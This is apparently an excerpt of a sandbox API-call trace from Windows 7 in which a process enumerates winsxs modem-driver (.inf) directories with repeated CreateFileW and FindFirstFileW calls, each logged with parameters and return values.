	[0108.508] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmmcom.inf_31bf3856ad364e35_6.1.7600.16385_none_812d4a3d3edaed64" (normalized: "c:\\windows\\winsxs\\amd64_mdmmcom.inf_31bf3856ad364e35_6.1.7600.16385_none_812d4a3d3edaed64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.508] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmmcom.inf_31bf3856ad364e35_6.1.7600.16385_none_812d4a3d3edaed64\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.508] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmmct.inf_31bf3856ad364e35_6.1.7600.16385_none_a7d732137db062c6" (normalized: "c:\\windows\\winsxs\\amd64_mdmmct.inf_31bf3856ad364e35_6.1.7600.16385_none_a7d732137db062c6"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.508] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmmct.inf_31bf3856ad364e35_6.1.7600.16385_none_a7d732137db062c6\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.509] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmmega.inf_31bf3856ad364e35_6.1.7600.16385_none_995cdac734df71e6" (normalized: "c:\\windows\\winsxs\\amd64_mdmmega.inf_31bf3856ad364e35_6.1.7600.16385_none_995cdac734df71e6"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.509] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmmega.inf_31bf3856ad364e35_6.1.7600.16385_none_995cdac734df71e6\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.509] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmmetri.inf_31bf3856ad364e35_6.1.7600.16385_none_0c74b3dc07900de3" (normalized: "c:\\windows\\winsxs\\amd64_mdmmetri.inf_31bf3856ad364e35_6.1.7600.16385_none_0c74b3dc07900de3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.510] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmmetri.inf_31bf3856ad364e35_6.1.7600.16385_none_0c74b3dc07900de3\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.510] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmmhrtz.inf_31bf3856ad364e35_6.1.7600.16385_none_a55d8d9d74018205" (normalized: "c:\\windows\\winsxs\\amd64_mdmmhrtz.inf_31bf3856ad364e35_6.1.7600.16385_none_a55d8d9d74018205"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.510] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmmhrtz.inf_31bf3856ad364e35_6.1.7600.16385_none_a55d8d9d74018205\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.511] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmmhzel.inf_31bf3856ad364e35_6.1.7600.16385_none_0d8e34afe7d4f96e" (normalized: "c:\\windows\\winsxs\\amd64_mdmmhzel.inf_31bf3856ad364e35_6.1.7600.16385_none_0d8e34afe7d4f96e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.511] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmmhzel.inf_31bf3856ad364e35_6.1.7600.16385_none_0d8e34afe7d4f96e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.511] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmminij.inf_31bf3856ad364e35_6.1.7600.16385_none_45ce09cc47709c2b" (normalized: "c:\\windows\\winsxs\\amd64_mdmminij.inf_31bf3856ad364e35_6.1.7600.16385_none_45ce09cc47709c2b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.511] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmminij.inf_31bf3856ad364e35_6.1.7600.16385_none_45ce09cc47709c2b\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.512] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmmod.inf_31bf3856ad364e35_6.1.7600.16385_none_62c8fb15ff663b2a" (normalized: "c:\\windows\\winsxs\\amd64_mdmmod.inf_31bf3856ad364e35_6.1.7600.16385_none_62c8fb15ff663b2a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.512] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmmod.inf_31bf3856ad364e35_6.1.7600.16385_none_62c8fb15ff663b2a\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.512] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmmot64.inf_31bf3856ad364e35_6.1.7600.16385_none_e5bc62f58910b398" (normalized: "c:\\windows\\winsxs\\amd64_mdmmot64.inf_31bf3856ad364e35_6.1.7600.16385_none_e5bc62f58910b398"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.512] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmmot64.inf_31bf3856ad364e35_6.1.7600.16385_none_e5bc62f58910b398\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd8a529, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd8a529, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd8a529, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.513] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmmoto1.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6dcf9ac5d1cdd4b2" (normalized: "c:\\windows\\winsxs\\amd64_mdmmoto1.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6dcf9ac5d1cdd4b2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.513] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmmoto1.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6dcf9ac5d1cdd4b2\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36ec26, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd36ec26, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd36ec26, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.514] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmmoto1.inf_31bf3856ad364e35_6.1.7600.16385_none_00ea96b0e81eeff4" (normalized: "c:\\windows\\winsxs\\amd64_mdmmoto1.inf_31bf3856ad364e35_6.1.7600.16385_none_00ea96b0e81eeff4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.514] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmmoto1.inf_31bf3856ad364e35_6.1.7600.16385_none_00ea96b0e81eeff4\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.516] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmmotou.inf_31bf3856ad364e35_6.1.7600.16385_none_25536ccb9426fbd8" (normalized: "c:\\windows\\winsxs\\amd64_mdmmotou.inf_31bf3856ad364e35_6.1.7600.16385_none_25536ccb9426fbd8"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.516] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmmotou.inf_31bf3856ad364e35_6.1.7600.16385_none_25536ccb9426fbd8\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.516] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmmts.inf_31bf3856ad364e35_6.1.7600.16385_none_bee826439264ce7c" (normalized: "c:\\windows\\winsxs\\amd64_mdmmts.inf_31bf3856ad364e35_6.1.7600.16385_none_bee826439264ce7c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.517] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmmts.inf_31bf3856ad364e35_6.1.7600.16385_none_bee826439264ce7c\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.517] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmneuhs.inf_31bf3856ad364e35_6.1.7600.16385_none_22b2d74734caa1f7" (normalized: "c:\\windows\\winsxs\\amd64_mdmneuhs.inf_31bf3856ad364e35_6.1.7600.16385_none_22b2d74734caa1f7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.517] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmneuhs.inf_31bf3856ad364e35_6.1.7600.16385_none_22b2d74734caa1f7\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.518] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmnis1u.inf_31bf3856ad364e35_6.1.7600.16385_none_bfdc0bb2f6f3935a" (normalized: "c:\\windows\\winsxs\\amd64_mdmnis1u.inf_31bf3856ad364e35_6.1.7600.16385_none_bfdc0bb2f6f3935a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.518] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmnis1u.inf_31bf3856ad364e35_6.1.7600.16385_none_bfdc0bb2f6f3935a\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.518] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmnis2u.inf_31bf3856ad364e35_6.1.7600.16385_none_ed46e0a714e373a9" (normalized: "c:\\windows\\winsxs\\amd64_mdmnis2u.inf_31bf3856ad364e35_6.1.7600.16385_none_ed46e0a714e373a9"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.518] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmnis2u.inf_31bf3856ad364e35_6.1.7600.16385_none_ed46e0a714e373a9\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.519] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmnis3t.inf_31bf3856ad364e35_6.1.7600.16385_none_1a28a36619b5178f" (normalized: "c:\\windows\\winsxs\\amd64_mdmnis3t.inf_31bf3856ad364e35_6.1.7600.16385_none_1a28a36619b5178f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.519] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmnis3t.inf_31bf3856ad364e35_6.1.7600.16385_none_1a28a36619b5178f\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.519] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmnis5t.inf_31bf3856ad364e35_6.1.7600.16385_none_74fe4d4e5594d82d" (normalized: "c:\\windows\\winsxs\\amd64_mdmnis5t.inf_31bf3856ad364e35_6.1.7600.16385_none_74fe4d4e5594d82d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.519] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmnis5t.inf_31bf3856ad364e35_6.1.7600.16385_none_74fe4d4e5594d82d\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.520] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmnokia.inf_31bf3856ad364e35_6.1.7600.16385_none_81fe1974cdead8a0" (normalized: "c:\\windows\\winsxs\\amd64_mdmnokia.inf_31bf3856ad364e35_6.1.7600.16385_none_81fe1974cdead8a0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.520] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmnokia.inf_31bf3856ad364e35_6.1.7600.16385_none_81fe1974cdead8a0\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19323cfb, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x19323cfb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x19323cfb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.520] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmnova.inf_31bf3856ad364e35_6.1.7600.16385_none_c35e46d13d7a1e9c" (normalized: "c:\\windows\\winsxs\\amd64_mdmnova.inf_31bf3856ad364e35_6.1.7600.16385_none_c35e46d13d7a1e9c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.520] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmnova.inf_31bf3856ad364e35_6.1.7600.16385_none_c35e46d13d7a1e9c\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.521] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmntt1.inf_31bf3856ad364e35_6.1.7600.16385_none_c672ffa117dbb255" (normalized: "c:\\windows\\winsxs\\amd64_mdmntt1.inf_31bf3856ad364e35_6.1.7600.16385_none_c672ffa117dbb255"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.521] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmntt1.inf_31bf3856ad364e35_6.1.7600.16385_none_c672ffa117dbb255\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.521] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmnttd2.inf_31bf3856ad364e35_6.1.7600.16385_none_0f272be87f4643ca" (normalized: "c:\\windows\\winsxs\\amd64_mdmnttd2.inf_31bf3856ad364e35_6.1.7600.16385_none_0f272be87f4643ca"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.521] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmnttd2.inf_31bf3856ad364e35_6.1.7600.16385_none_0f272be87f4643ca\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.522] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmnttd6.inf_31bf3856ad364e35_6.1.7600.16385_none_114b74bce3bf356e" (normalized: "c:\\windows\\winsxs\\amd64_mdmnttd6.inf_31bf3856ad364e35_6.1.7600.16385_none_114b74bce3bf356e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.522] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmnttd6.inf_31bf3856ad364e35_6.1.7600.16385_none_114b74bce3bf356e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.522] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmnttme.inf_31bf3856ad364e35_6.1.7600.16385_none_c33749118dbb2f7c" (normalized: "c:\\windows\\winsxs\\amd64_mdmnttme.inf_31bf3856ad364e35_6.1.7600.16385_none_c33749118dbb2f7c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
